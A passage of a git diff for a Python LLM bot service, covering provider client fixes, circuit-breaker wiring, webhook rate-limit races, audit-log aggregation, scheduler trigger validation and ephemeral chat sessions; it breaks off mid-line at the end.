84be54565..1eca09b55 100644 --- a/src/llm/openai_codex.py +++ b/src/llm/openai_codex.py @@ -12,7 +12,7 @@ from ..config.schema import effort_incompatibility_error from ..odin_log import get_logger from .backoff import DEFAULT_BASE_DELAY, DEFAULT_MAX_DELAY, DEFAULT_MAX_RETRIES, compute_backoff -from .circuit_breaker import CircuitBreaker +from .circuit_breaker import CircuitBreaker, breaker_call from .client_lifecycle import ClientLifecycle, leased_call from .codex_auth import CodexAuth, CodexAuthPool from .cost_tracker import estimate_tokens @@ -486,15 +486,18 @@ async def chat( messages: list[dict], system: str, max_tokens: int | None = None, + *, + model: str | None = None, ) -> str: """Send a chat request via the Codex backend API (streaming). The optional third argument is accepted for the shared provider interface. The Responses request shape is intentionally unchanged. """ - _reject_known_bad_pair(self.model, self.reasoning_effort) + resolved_model = model or self.model + _reject_known_bad_pair(resolved_model, self.reasoning_effort) body = { - "model": self.model, + "model": resolved_model, "instructions": system, "input": self._convert_messages(messages), "store": False, @@ -867,7 +870,7 @@ def observe(event): return await self._send_with_retries( body, observed_reader, - lambda r: not (r.text or r.tool_calls), + lambda r: r.stop_reason != "incomplete" and not (r.text or r.tool_calls), progress_observer=progress_observer, ) @@ -879,6 +882,7 @@ async def _stream_request(self, body: dict) -> str: lambda r: not r, ) + @breaker_call async def _send_with_retries( self, body: dict, @@ -900,7 +904,6 @@ async def _send_with_retries( concurrent traffic "whatever account is current when I take the lock" is frequently a different, healthy one. """ - self.breaker.check() session = await self._get_session() self._total_requests += 1 last_error = None @@ -1434,6 +1437,7 @@ async def _read_stream(self, resp: aiohttp.ClientResponse) -> str: """Read SSE stream and extract text content.""" text_parts = [] terminal_received = False + incomplete = False async for raw_line in resp.content: line = raw_line.decode("utf-8", errors="replace").strip() @@ -1474,6 +1478,7 @@ async def _read_stream(self, resp: aiohttp.ClientResponse) -> str: elif event_type == "response.incomplete": terminal_received = True + incomplete = True reason = ((event.get("response") or {}).get("incomplete_details") or {}).get( "reason" ) or "unknown" @@ -1502,6 +1507,13 @@ async def _read_stream(self, resp: aiohttp.ClientResponse) -> str: f"(partial_chars={sum(map(len, text_parts))})", error_code="unexpected_eof", ) + if incomplete: + from .errors import LLMIncompleteResponseError + + raise LLMIncompleteResponseError( + "Codex returned an incomplete response", partial_text="".join(text_parts), + provider="codex", model=self.model, code="output_truncated", + ) if not text_parts: log.warning("Codex stream returned 200 but produced no text content") return "" diff --git a/src/llm/openai_compatible.py b/src/llm/openai_compatible.py index 4d49a7af8..7c51d6f7a 100644 --- a/src/llm/openai_compatible.py +++ b/src/llm/openai_compatible.py @@ -12,7 +12,7 @@ from ..odin_log import get_logger from .backoff import DEFAULT_BASE_DELAY, DEFAULT_MAX_DELAY, DEFAULT_MAX_RETRIES, compute_backoff -from .circuit_breaker import CircuitBreaker +from .circuit_breaker import CircuitBreaker, breaker_call from .client_lifecycle import leased_call from .context_budget import canonical_compatible_model, compatible_request_output_tokens from .errors import LLMContextLengthError, LLMRateLimitError, LLMRequestError, LLMTransportError @@ -34,6 +34,11 @@ CONNECT_TIMEOUT_SECONDS = 30 +def preset_context_overflow_pattern(preset: str) -> str | None: + """Provider-specific structured error classification for production clients.""" + return _DEEPSEEK_CONTEXT_LIMIT_RE.pattern if preset == "deepseek" else None + + class CompatibleStreamError(Exception): """A 200 response whose SSE stream did not settle successfully.""" @@ -275,7 +280,14 @@ def _sanitize_schema(self, schema: dict) -> dict: for k, v in schema.items(): if k in self._MFJS_STRIP_KEYS: continue - if isinstance(v, dict): + if k in {"properties", "patternProperties", "dependentSchemas"} and isinstance(v, dict): + # These are name-indexed maps, not schema nodes. A parameter + # named "format" or "title" is data, not an annotation. + clean[k] = { + name: self._sanitize_schema(node) if isinstance(node, dict) else node + for name, node in v.items() + } + elif isinstance(v, dict): clean[k] = self._sanitize_schema(v) elif isinstance(v, list): clean[k] = [ @@ -407,6 +419,7 @@ def _apply_openrouter_routing(self, body: dict, *, has_tools: bool) -> None: has_reasoning="reasoning" in body, ) + @breaker_call async def _request_with_retry( self, body: dict, @@ -416,7 +429,6 @@ async def _request_with_retry( """Send a streaming request to the configured endpoint with retries.""" from ..observability.diagnostics import safe_error - self.breaker.check() session = await self._get_session() self._total_requests += 1 self._last_stream_usage_received = False @@ -889,7 +901,18 @@ async def chat( choices = data.get("choices", []) if not choices: return "" - return choices[0].get("message", {}).get("content", "") or "" + from .types import ChatText + + served_model = data.get("model") + return ChatText( + choices[0].get("message", {}).get("content", "") or "", + model=( + served_model if isinstance(served_model, str) and served_model + else self.model if self.tool_quirks.get("ignore_request_model") + else model or self.model + ), + input_tokens=parsed.input_tokens, output_tokens=parsed.output_tokens, + ) @leased_call async def chat_with_tools( diff --git a/src/llm/openrouter.py b/src/llm/openrouter.py index 574e8b116..77ac63232 100644 --- a/src/llm/openrouter.py +++ b/src/llm/openrouter.py @@ -194,27 +194,23 @@ def conservative_profile( ] if not usable: return None - from .context_budget import COMPATIBLE_REQUEST_OUTPUT_CEILING - - # Preserve a real route's pair, choosing the least usable input budget. - limiting = min( - usable, - key=lambda row: int(row["context_length"]) - - min(int(row["max_completion_tokens"]), COMPATIBLE_REQUEST_OUTPUT_CEILING), - ) + # Both constraints must hold across EVERY permitted fallback route. + # Keep independent provenance when different routes constrain each axis. + limiting = min(usable, key=lambda row: int(row["context_length"])) + output_limiting = min(usable, key=lambda row: int(row["max_completion_tokens"])) policy = request_provider_policy( routing, model=model or "", has_tools=True, has_reasoning=require_reasoning ) return { "total_window_tokens": int(limiting["context_length"]), - "max_output_tokens": int(limiting["max_completion_tokens"]), + "max_output_tokens": int(output_limiting["max_completion_tokens"]), "source": ( "openrouter_pinned_endpoint" if policy.get("order") and not policy["allow_fallbacks"] else "openrouter_conservative_routes" ), "context_route_tag": limiting.get("tag"), - "output_route_tag": limiting.get("tag"), + "output_route_tag": output_limiting.get("tag"), } diff --git a/src/llm/recovery.py b/src/llm/recovery.py index b5f907f49..3f6a4b978 100644 --- a/src/llm/recovery.py +++ b/src/llm/recovery.py @@ -180,6 +180,26 @@ async def generate_with_recovery( cancel_event: asyncio.Event | None = None, on_wait: Callable[[float, float, BaseException], None] | None = None, retry_circuit_open: bool = True, + generation_client=None, +) -> T: + """Hold one concrete client generation through all attempts and backoff.""" + lease = getattr(generation_client, "generation_lease", None) + async with lease() if lease else contextlib.nullcontext(): + return await _generate_with_recovery( + attempt, policy=policy, breaker=breaker, deadline_seconds=deadline_seconds, + cancel_event=cancel_event, on_wait=on_wait, retry_circuit_open=retry_circuit_open, + ) + + +async def _generate_with_recovery( + attempt: Callable[[], Awaitable[T]], + *, + policy: RecoveryPolicy, + breaker: ModelCapacityBreaker | None = None, + deadline_seconds: float | None = None, + cancel_event: asyncio.Event | None = None, + on_wait: Callable[[float, float, BaseException], None] | None = None, + retry_circuit_open: bool = True, ) -> T: """Run one logical LLM generation with deadline-based recovery. diff --git a/src/llm/types.py b/src/llm/types.py index bb8fa5949..90d36c106 100644 --- a/src/llm/types.py +++ b/src/llm/types.py @@ -5,6 +5,21 @@ from dataclasses import dataclass, field +class ChatText(str): + """String-compatible direct reply carrying result-scoped accounting facts.""" + + model: str + input_tokens: int + output_tokens: int + + def __new__(cls, text: str, *, model: str, input_tokens: int, output_tokens: int): + value = super().__new__(cls, text) + value.model = model + value.input_tokens = input_tokens + value.output_tokens = output_tokens + return value + + @dataclass(slots=True) class ToolCall: """A single tool call extracted from an LLM response. diff --git a/src/monitoring/resource_usage.py b/src/monitoring/resource_usage.py index bbb2ff93a..9fa8aed52 100644 --- a/src/monitoring/resource_usage.py +++ b/src/monitoring/resource_usage.py @@ -167,7 +167,7 @@ def collect_session_stats(bot: Any) -> SessionStats: "has_summary": bool(getattr(session, "summary", "")), }) - persist_dir = getattr(sm, "persist_directory", DEFAULT_SESSION_DIR) + persist_dir = getattr(sm, "persist_dir", DEFAULT_SESSION_DIR) stats.persist_dir = scan_directory(persist_dir) except Exception as exc: log.debug("Error collecting session stats: %s", exc) diff --git a/src/notifications/outbound_webhooks.py b/src/notifications/outbound_webhooks.py index c1f422e4e..1ebfcf37b 100644 --- a/src/notifications/outbound_webhooks.py +++ b/src/notifications/outbound_webhooks.py @@ -331,6 +331,7 @@ class OutboundWebhookDispatcher: "_scrub", "_rate_limit_seconds", "_last_sent", + "_in_flight", ) def __init__( @@ -346,6 +347,7 @@ def __init__( self._scrub = scrub_secrets self._rate_limit_seconds = max(0.0, rate_limit_seconds) self._last_sent: dict[str, float] = {} + self._in_flight: set[str] = set() @property def stats(self) -> WebhookStats: @@ -467,8 +469,10 @@ def update( def _check_rate_limit(self, webhook_id: str) -> bool: if self._rate_limit_seconds <= 0: return True - last = self._last_sent.get(webhook_id, 0.0) - return (time.monotonic() - last) >= self._rate_limit_seconds + if webhook_id in self._in_flight: + return False + last = self._last_sent.get(webhook_id) + return last is None or (time.monotonic() - last) >= self._rate_limit_seconds def _mark_sent(self, webhook_id: str) -> None: self._last_sent[webhook_id] = time.monotonic() @@ -668,8 +672,18 @@ async def dispatch( payload_json = _truncate_payload(json.dumps(final_payload)) payload_body = payload_json.encode() - result = await self._deliver_one(target, payload_body, event_type) - self._mark_sent(target.id) + # Recheck at actual admission: earlier targets may have awaited. + # Reserve without an await, then release on every terminal path. + if not self._check_rate_limit(target.id): + continue + self._in_flight.add(target.id) + try: + result = await self._deliver_one(target, payload_body, event_type) + # Preserve the existing settled-attempt cooldown/retry policy, + # including unsuccessful DeliveryResults. + self._mark_sent(target.id) + finally: + self._in_flight.discard(target.id) self._stats.record(result) results.append(result) diff --git a/src/observability/aggregates.py b/src/observability/aggregates.py index 353e698cb..36db10d09 100644 --- a/src/observability/aggregates.py +++ b/src/observability/aggregates.py @@ -2,14 +2,16 @@ Reads trajectory context traces and audit failure classifications, computes windowed aggregates and drift candidates, and returns plain dicts for the -API layer. No alert delivery here — exposure only; consumers (Grafana, -future heartbeat) decide what to do with drift candidates. +API layer. No alert delivery here — exposure only; API consumers decide +what to do with drift candidates. """ from __future__ import annotations import json +import os from datetime import UTC, datetime, timedelta from pathlib import Path +from typing import BinaryIO from ..odin_log import get_logger @@ -21,9 +23,6 @@ DRIFT_ABS_TOKENS = 300 DRIFT_REL_FRACTION = 0.25 -_AUDIT_TAIL_BYTES = 4 * 1024 * 1024 # parse at most the last 4MB of audit log - - def _percentile(values: list[float], pct: float) -> float: if not values: return 0.0 @@ -69,6 +68,11 @@ def _window_section_stats(turns: list[dict]) -> tuple[dict, list[float], int]: traced += 1 summary = trace.get("summary", {}) total = summary.get("system_tokens", 0) + summary.get("history_used_tokens", 0) + # Historical traces counted learned selection separately but omitted it + # from system_tokens. The explicit marker prevents new traces counting + # it twice and lets retained v1 evidence keep accurate headline totals. + if not summary.get("system_includes_learned", False): + total += (trace.get("learned") or {}).get("tokens", 0) totals.append(float(total)) for section in trace.get("sections", []): name = section.get("section", "?") @@ -138,25 +142,15 @@ def context_aggregates(trajectory_dir: str, window_hours: int = 24) -> dict: } -def _tail_lines(path: Path, max_bytes: int) -> list[str]: - size = path.stat().st_size - with path.open("rb") as fh: - if size > max_bytes: - fh.seek(size - max_bytes) - fh.readline() # discard the partial first line - return fh.read().decode(errors="replace").splitlines() - - -def failure_aggregates(audit_path: str, window_hours: int = 24) -> dict: +def failure_aggregates( + audit_path: str, window_hours: int = 24, *, + snapshot: list[tuple[BinaryIO, os.stat_result]] | None = None, +) -> dict: """Failure-class counts for the current vs previous window. Only classification metadata is aggregated — raw error strings are never surfaced here. """ - path = Path(audit_path) - if not path.exists(): - return {"window_hours": window_hours, "classified": 0, "by_class": {}, "trends": []} - now = datetime.now(UTC) window = timedelta(hours=window_hours) current: dict[str, int] = {} @@ -164,24 +158,68 @@ def failure_aggregates(audit_path: str, window_hours: int = 24) -> dict: by_tool: dict[str, dict[str, int]] = {} classified = 0 - try: - lines = _tail_lines(path, _AUDIT_TAIL_BYTES) - except OSError as e: - log.warning("Could not read audit log: %s", e) - return {"window_hours": window_hours, "classified": 0, "by_class": {}, "trends": []} + # The HTTP caller supplies AuditLogger's rotation-locked descriptor snapshot. + # Standalone callers still include retained numbered generations. Scan all + # captured bytes, not an arbitrary tail, and never load whole files in RAM. + owns_snapshot = snapshot is None + read_errors = 0 + if snapshot is None: + snapshot = [] + path = Path(audit_path) + paths = [path] + sorted( + p for p in path.parent.glob(path.name + ".*") + if p.name.removeprefix(path.name + ".").isdigit() + ) + seen = set() + for candidate in paths: + try: + handle = candidate.open("rb") + stat = os.fstat(handle.fileno()) + identity = (stat.st_dev, stat.st_ino) + if identity in seen: + handle.close() + continue + seen.add(identity) + snapshot.append((handle, stat)) + except FileNotFoundError: + continue + except OSError as exc: + read_errors += 1 + log.warning("Could not open retained audit log: %s", exc) - for line in lines: + def lines(): + nonlocal read_errors + for handle, stat in snapshot: + try: + handle.seek(0) + remaining = stat.st_size + while remaining > 0: + raw = handle.readline(remaining) + if not raw: + break + remaining -= len(raw) + yield raw + except OSError as exc: + read_errors += 1 + log.warning("Could not scan retained audit log: %s", exc) + + def consume(line): + nonlocal classified try: entry = json.loads(line) - except json.JSONDecodeError: - continue + except (json.JSONDecodeError, UnicodeDecodeError): + return + if not isinstance(entry, dict): + return failure = entry.get("failure") if not isinstance(failure, dict): - continue + return try: ts = datetime.fromisoformat(entry.get("timestamp", "")) except (ValueError, TypeError): - continue + return + if ts.tzinfo is None: + ts = ts.replace(tzinfo=UTC) cls = failure.get("class", "unknown") if now - window <= ts <= now: classified += 1 @@ -192,6 +230,14 @@ def failure_aggregates(audit_path: str, window_hours: int = 24) -> dict: elif now - 2 * window <= ts < now - window: previous[cls] = previous.get(cls, 0) + 1 + try: + for line in lines(): + consume(line) + finally: + if owns_snapshot: + for owned_handle, _stat in snapshot: + owned_handle.close() + trends = [] for cls in sorted(set(current) | set(previous)): cur_n, prev_n = current.get(cls, 0), previous.get(cls, 0) @@ -204,6 +250,11 @@ def failure_aggregates(audit_path: str, window_hours: int = 24) -> dict: return { "window_hours": window_hours, "classified": classified, + "coverage": { + "scope": "retained_audit_generations", "generations": len(snapshot), + "tail_truncated": False, "read_errors": read_errors, + "complete_retained_scan": read_errors == 0, + }, "by_class": { cls: {"count": n, "top_tools": dict(sorted( by_tool.get(cls, {}).items(), key=lambda kv: -kv[1])[:5])} diff --git a/src/observability/context_trace.py b/src/observability/context_trace.py index 59b0c8676..fd1bcfb00 100644 --- a/src/observability/context_trace.py +++ b/src/observability/context_trace.py @@ -269,6 +269,8 @@ def finalize(self) -> dict | None: try: duration_ms = round((time.monotonic() - self._started) * 1000, 2) total_tokens = sum(s.get("tokens", 0) for s in self._sections) + if not any(s.get("section") == "learned" for s in self._sections): + total_tokens += self._learned.get("tokens", 0) trace: dict[str, Any] = { "schema_version": TRACE_SCHEMA_VERSION, "assembly": { @@ -279,6 +281,7 @@ def finalize(self) -> dict | None: }, "summary": { "system_tokens": total_tokens, + "system_includes_learned": True, "sections_count": len(self._sections), "history_used_tokens": self._history.get("used", 0), "history_candidates": self._history.get("candidates", 0), diff --git a/src/permissions/token_manager.py b/src/permissions/token_manager.py index 0cc6c776a..75fee6a8c 100644 --- a/src/permissions/token_manager.py +++ b/src/permissions/token_manager.py @@ -107,6 +107,13 @@ def get(self, user_id: str) -> ApiTokenIdentity | None: return self._issuer.issue(entry) return None + def identity_is_current(self, identity: ApiTokenIdentity) -> bool: + if self.credential_store_auth_required or identity is None: + return False + entry = next((entry for entry in self._entries + if entry.identity.user_id == identity.user_id), None) + return self._issuer.matches(identity, entry) + class ApiTokenManager: """Dynamic API token management with hashed storage and HMAC-safe lookup.""" diff --git a/src/restart.py b/src/restart.py index 4dcd5c696..1038d7ebf 100644 --- a/src/restart.py +++ b/src/restart.py @@ -84,7 +84,7 @@ def reexec() -> NoReturn: closed — exec destroys the process image immediately, including threads and unflushed buffers. The entry point is reconstructed rather than replayed from ``sys.argv[0]`` so the systemd unit's - ``ExecStart=… -m src`` and the ``odin`` console script restart + ``ExecStart=… -m src`` and the ``odin-server`` console script restart identically; positional arguments (the config path) pass through. Raises ``OSError`` if exec fails — the caller must exit nonzero so a supervisor running ``Restart=on-failure`` gets its chance. diff --git a/src/scheduler/scheduler.py b/src/scheduler/scheduler.py index 26e9927aa..0816a295a 100644 --- a/src/scheduler/scheduler.py +++ b/src/scheduler/scheduler.py @@ -110,7 +110,7 @@ def __init__(self, snapshot: ConnectionAvailability) -> None: WEBHOOK_MAX_TIMEOUT = 300 # 5 minutes WEBHOOK_MAX_URL_LEN = 2048 WEBHOOK_MAX_BODY_LEN = 1_000_000 # 1 MB -REMOVED_TRIGGER_SOURCES = frozenset({"discord_reaction", "discord_message"}) +REMOVED_TRIGGER_SOURCES = frozenset({"discord_reaction", "discord_message", "grafana"}) _execution_admission: ContextVar[tuple[object, str, str] | None] = ContextVar( "scheduler_execution_admission", default=None @@ -231,6 +231,29 @@ async def _mark_run_started(self, schedule: dict) -> None: schedule["run_started_at"] = started return + async def _admit_reserved_execution(self, schedule: dict) -> bool: + """Fence queued work against acknowledged CRUD before effects start. + + A manual run can override an existing pause, but a new pause changes + execution identity. Publish the start marker under this same lock. + """ + async with self._lock: + candidate = copy.deepcopy(self._schedules) + for current in candidate: + if current.get("id") != schedule.get("id"): + continue + if self._execution_identity(current) != self._execution_identity(schedule): + return False + if current.get("paused") and not schedule.get("paused"): + return False + if self._tracks_run_start(schedule): + started = datetime.now(UTC).isoformat() + current["run_started_at"] = started + await self._publish(candidate) + schedule["run_started_at"] = started + return True + return False + def _load(self) -> None: if self.data_path.exists(): try: @@ -250,7 +273,7 @@ def _load(self) -> None: self._schedules = [] def _degrade_removed_trigger_sources(self) -> None: - """Keep legacy Discord-trigger schedules visible but inert. + """Keep legacy removed-trigger schedules visible but inert. Older stores may contain trigger sources whose Discord cogs no longer exist. One obsolete entry must not fail the whole store load. These @@ -262,11 +285,13 @@ def _degrade_removed_trigger_sources(self) -> None: continue trigger = schedule.get("trigger") source = trigger.get("source") if isinstance(trigger, dict) else None - if source not in REMOVED_TRIGGER_SOURCES: + removed_filter = isinstance(trigger, dict) and "alert_name" in trigger + removed_source = isinstance(source, str) and source in REMOVED_TRIGGER_SOURCES + if not removed_source and not removed_filter: continue schedule["paused"] = True schedule["inert_reason"] = ( - f"Trigger source '{source}' was removed; replace the timing " + f"Trigger source '{source}' or its alert filter was removed; replace the timing " "trigger before resuming this schedule." ) log.warning( @@ -690,14 +715,16 @@ def _validate_trigger(trigger: dict) -> None: if not isinstance(trigger, dict): raise ValueError("'trigger' must be a dict") valid_keys = { - "source", "event", "repo", "alert_name", + "source", "event", "repo", } unknown = set(trigger.keys()) - valid_keys if unknown: raise ValueError(f"Unknown trigger keys: {', '.join(sorted(unknown))}") + for key, value in trigger.items(): + if value is not None and not isinstance(value, str): + raise ValueError(f"Trigger {key} must be a string or null") valid_sources = { "gitea", - "grafana", "generic", "github", "gitlab", @@ -708,7 +735,7 @@ def _validate_trigger(trigger: dict) -> None: f"Invalid trigger source '{source}'. " f"Valid: {', '.join(sorted(valid_sources))}" ) - if not trigger: + if not any(trigger.values()): raise ValueError("Trigger must have at least one condition") @staticmethod @@ -826,11 +853,10 @@ def _trigger_matches(trigger: dict, source: str, event_data: dict) -> bool: - source: exact match (required if specified) - event: exact match against event_data["event"] - repo: case-insensitive substring match against event_data["repo"] - - alert_name: case-insensitive substring match against any string in - event_data["alert_names"], falling back to event_data["alert_name"] - All specified fields must match (AND logic). """ + if trigger.get("source") in REMOVED_TRIGGER_SOURCES or "alert_name" in trigger: + return False if trigger.get("source") and trigger["source"] != source: return False if trigger.get("event"): @@ -840,18 +866,6 @@ def _trigger_matches(trigger: dict, source: str, event_data: dict) -> bool: repo = event_data.get("repo", "") if trigger["repo"].lower() not in repo.lower(): return False - if trigger.get("alert_name"): - alert_names = event_data.get("alert_names") - if alert_names is None: - alert_names = [event_data.get("alert_name", "")] - elif not isinstance(alert_names, (list, tuple)): - alert_names = [] - if not any( - isinstance(name, str) - and trigger["alert_name"].lower() in name.lower() - for name in alert_names - ): - return False return True async def fire_triggers(self, source: str, event_data: dict) -> int: @@ -874,7 +888,15 @@ async def fire_triggers(self, source: str, event_data: dict) -> int: trigger = schedule.get("trigger") if not trigger: continue - if not self._trigger_matches(trigger, source, event_data): + try: + self._validate_trigger(trigger) + matches = self._trigger_matches(trigger, source, event_data) + except (ValueError, TypeError, AttributeError) as exc: + log.warning( + "Skipping malformed trigger for schedule %s: %s", schedule.get("id"), exc, + ) + continue + if not matches: continue if self._requires_connection(schedule) and not availability.available: continue @@ -1364,7 +1386,11 @@ async def _execute_and_record( ): await self._restore_unstarted_reservation(schedule, reservation) raise ScheduleConnectionUnavailableError(snapshot) - if self._tracks_run_start(schedule): + if reservation is not None: + if not await self._admit_reserved_execution(schedule): + await self._restore_unstarted_reservation(schedule, reservation) + return False + elif self._tracks_run_start(schedule): await self._mark_run_started(schedule) identity = self._execution_identity(schedule) nonce = uuid.uuid4().hex @@ -1649,6 +1675,7 @@ async def _tick(self) -> None: reservation = self._capture_reservation_before_mutation( schedule, epoch ) + schedule["last_run"] = now.isoformat() self._capture_reservation_after_mutation(reservation, schedule) to_fire.append((copy.deepcopy(schedule), reservation, epoch)) continue diff --git a/src/search/embedder.py b/src/search/embedder.py index 48d4bcfd0..6322f1063 100644 --- a/src/search/embedder.py +++ b/src/search/embedder.py @@ -1,6 +1,7 @@ from __future__ import annotations import asyncio +import threading from functools import partial from typing import TYPE_CHECKING @@ -23,16 +24,20 @@ class LocalEmbedder: def __init__(self) -> None: self._model: TextEmbedding | None = None + self._model_lock = threading.Lock() def _ensure_model(self): - if self._model is None: - from fastembed import TextEmbedding - self._model = TextEmbedding(self.MODEL) + # Loading (including import/download) runs in the inference worker. + # A thread lock keeps first callers single-flight even if a waiting + # coroutine is cancelled while the worker is still initializing. + with self._model_lock: + if self._model is None: + from fastembed import TextEmbedding + self._model = TextEmbedding(self.MODEL) async def embed(self, text: str) -> list[float] | None: """Embed text. Returns 384-dim float list or None on failure.""" try: - self._ensure_model() text = text[:MAX_INPUT_CHARS] loop = asyncio.get_event_loop() result = await loop.run_in_executor( @@ -44,6 +49,6 @@ async def embed(self, text: str) -> list[float] | None: return None def _embed_sync(self, text: str) -> list[float]: - # _ensure_model() has run in every caller before dispatch here. + self._ensure_model() vectors = list(self._model.embed([text])) # type: ignore[union-attr] return vectors[0].tolist() diff --git a/src/search/hybrid.py b/src/search/hybrid.py index eb241cac3..7a5bcd4f3 100644 --- a/src/search/hybrid.py +++ b/src/search/hybrid.py @@ -21,6 +21,7 @@ def reciprocal_rank_fusion( """ scores: dict[str, float] = {} best: dict[str, dict] = {} + best_ranks: dict[str, int] = {} for result_list in result_lists: for rank_0, item in enumerate(result_list): @@ -32,8 +33,10 @@ def reciprocal_rank_fusion( rrf = 1.0 / (k + rank_0 + 1) # rank is 1-based in the formula scores[item_id] = scores.get(item_id, 0.0) + rrf # Keep the version from the list where it ranked highest - if item_id not in best: + # Equal ranks retain the earlier list's payload deterministically. + if item_id not in best or rank_0 < best_ranks[item_id]: best[item_id] = item + best_ranks[item_id] = rank_0 ranked = sorted(scores.items(), key=lambda x: x[1], reverse=True)[:limit] out = [] diff --git a/src/sessions/manager.py b/src/sessions/manager.py index 6491b98ee..21096f132 100644 --- a/src/sessions/manager.py +++ b/src/sessions/manager.py @@ -10,6 +10,7 @@ import time import uuid from collections.abc import Awaitable, Callable, Iterable +from contextlib import contextmanager from dataclasses import asdict, dataclass, field from datetime import datetime from functools import wraps @@ -399,6 +400,13 @@ def estimated_tokens(self) -> int: """Current estimated token count for this session's full content.""" return _estimate_session_tokens(self.messages, self.summary, self.summary_segments) + @property + def has_summary(self) -> bool: + """Whether legacy or rolling context contains meaningful summary text.""" + return bool(self.summary.strip()) or any( + bool(seg.get("summary", "").strip()) for seg in self.summary_segments + ) + class SessionManager: def __init__( @@ -411,8 +419,8 @@ def __init__( embedder: LocalEmbedder | None = None, token_budget: int = DEFAULT_SESSION_TOKEN_BUDGET, adaptive_compaction: bool = True, - archive_max_bytes: int = 2 * 1024**3, - archive_max_files: int = 10_000, + archive_max_bytes: int | None = 2 * 1024**3, + archive_max_files: int | None = 10_000, context_token_budget: int = CONTEXT_TOKEN_BUDGET, context_budget_overrides: dict[str, int] | None = None, ) -> None: @@ -439,6 +447,7 @@ def __init__( self._continuity_source: dict[str, str] = {} self._sessions: dict[str, Session] = {} self._dirty: set[str] = set() + self._ephemeral_channels: set[str] = set() # Monotonic per-channel mutation watermark (PR #242, round-4 # blocker #3): bumped on EVERY semantic history mutation (append, # removal, compaction, secret scrub, tombstone) — unlike message @@ -468,12 +477,37 @@ def set_compaction_fn(self, fn: CompactionFn) -> None: """ self._compaction_fn = fn + @contextmanager + def ephemeral(self, channel_id: str): + """Own a unique, memory-only channel until the request settles. + + Registration is serialized with publication, so background saves cannot + publish this channel. Persistent channels never use this lifecycle. + """ + with self._publication_lock, self._state_lock: + if (channel_id in self._sessions or channel_id in self._ephemeral_channels + or channel_id in self._reset_epochs + or channel_id in self._pending_reset_epochs + or (self.persist_dir / f"{channel_id}.json").exists()): + raise ValueError("Ephemeral channel must be new and unique") + self._ephemeral_channels.add(channel_id) + try: + yield + finally: + with self._publication_lock, self._state_lock: + self._sessions.pop(channel_id, None) + self._dirty.discard(channel_id) + self._mutation_revisions.pop(channel_id, None) + self._continuity_source.pop(channel_id, None) + self._ephemeral_channels.discard(channel_id) + @_owned def get_or_create(self, channel_id: str) -> Session: if channel_id in self._pending_reset_epochs: raise RuntimeError("Reset durability unresolved; retry reset before session activity") if channel_id not in self._sessions: - session = self._restore_from_archive(channel_id) + session = (None if channel_id in self._ephemeral_channels + else self._restore_from_archive(channel_id)) if session is None: session = Session(channel_id=channel_id) self._continuity_source[channel_id] = "fresh" @@ -844,7 +878,7 @@ def get_session_token_usage(self) -> dict[str, dict]: result[cid] = { "estimated_tokens": tokens, "message_count": len(session.messages), - "has_summary": bool(session.summary), + "has_summary": session.has_summary, "budget": self.token_budget, "budget_pct": (round(tokens / self.token_budget * 100, 1) if self.token_budget > 0 else 0.0), @@ -853,7 +887,7 @@ def get_session_token_usage(self) -> dict[str, dict]: return result def get_token_metrics(self) -> dict: - """Return aggregate token metrics for Prometheus exposition.""" + """Return aggregate token metrics for diagnostics.""" total_tokens = 0 session_count = len(self._sessions) over_budget = 0 @@ -1062,6 +1096,8 @@ async def _compact(self, session: Session) -> None: [{"role": "user", "content": convo_text}], system_instruction, ) + if not isinstance(summary_text, str) or not summary_text.strip(): + raise ValueError("Compaction backend returned an empty summary") with self._state_lock: if (self._sessions.get(session.channel_id) is not session @@ -1080,7 +1116,8 @@ async def _compact(self, session: Session) -> None: len(session.summary_segments), ) - if self._reflector and len(discarded) >= 5: + if (self._reflector and len(discarded) >= 5 + and session.channel_id not in self._ephemeral_channels): # Collect all distinct user_ids from discarded messages participant_ids = list(dict.fromkeys( m.user_id for m in discarded if m.user_id @@ -1205,13 +1242,24 @@ def reset_many(self, channel_ids: list[str]) -> int: requested = set(channel_ids) if not requested: return 0 + # An administrative clear can overlap an API request. Its in-memory + # channel still gets cleared/fenced, but cannot acquire a tombstone. + ephemeral = requested & self._ephemeral_channels + ephemeral_removed = sum(cid in self._sessions for cid in ephemeral) + for cid in ephemeral: + self._sessions.pop(cid, None) + self._dirty.discard(cid) + self._bump_mutation_revision(cid) + requested -= ephemeral + if not requested: + return ephemeral_removed if self._reset_epochs_degraded: # Never replace an unreadable tombstone ledger with a partial # one. Live sessions can still load, accept activity and save. raise RuntimeError( "Reset epoch store degraded; repair store and reload before reset", ) - removed = sum(cid in self._sessions for cid in requested) + removed = ephemeral_removed + sum(cid in self._sessions for cid in requested) previous = self._reset_epochs self._reset_epochs = { **previous, **dict.fromkeys(requested, time.time()), @@ -1264,6 +1312,7 @@ def prune(self) -> int: for cid, s in self._sessions.items() if now - s.last_active > self.max_age_seconds and cid not in self._pending_reset_epochs + and cid not in self._ephemeral_channels ] for cid in expired: self._archive_session(cid) @@ -1283,6 +1332,8 @@ def _archive_session(self, channel_id: str) -> None: session = self._sessions.get(channel_id) if not session or not (session.messages or session.summary or session.summary_segments): return + if channel_id in self._ephemeral_channels: + return archive_dir = self.persist_dir / "archive" archive_dir.mkdir(exist_ok=True) timestamp: float = int(session.last_active) @@ -1344,8 +1395,11 @@ def _prune_old_archives(self, archive_dir: Path) -> None: pruned = 0 def over_cap() -> bool: - return (total_bytes > self.archive_max_bytes - or len(files) > self.archive_max_files) + return ( + self.archive_max_bytes is not None and total_bytes > self.archive_max_bytes + ) or ( + self.archive_max_files is not None and len(files) > self.archive_max_files + ) for f in evict_order: if not over_cap(): @@ -1356,7 +1410,7 @@ def over_cap() -> bool: pruned += 1 if pruned: log.info( - "Pruned %d archive(s) from %s (caps: %d bytes / %d files; " + "Pruned %d archive(s) from %s (caps: %s bytes / %s files; " "newest-per-channel protected)", pruned, archive_dir, self.archive_max_bytes, self.archive_max_files, ) @@ -1470,14 +1524,16 @@ async def search_history( - before: only messages with timestamp <= before (epoch seconds) """ validate_search_query(query) + if limit <= 0: + return [] query_lower = query.lower() results: list[dict] = [] seen_segments: set[str] = set() def _ts_ok(ts: float) -> bool: - if after and ts < after: + if after is not None and ts < after: return False - if before and ts > before: + if before is not None and ts > before: return False return True @@ -1536,33 +1592,68 @@ def _ts_ok(ts: float) -> bool: if len(results) >= limit: return results[:limit] + async def _eligible_ranked(fetch, *, segments: bool = False) -> list[dict]: + """Grow retrieval until eligible slots are filled or exhausted. + + Backend ranking and source priority stay unchanged. Scope, time, + reset and duplicate candidates cannot consume the caller's budget. + """ + candidate_limit = max(1, limit) + existing = {(r.get("channel_id", ""), 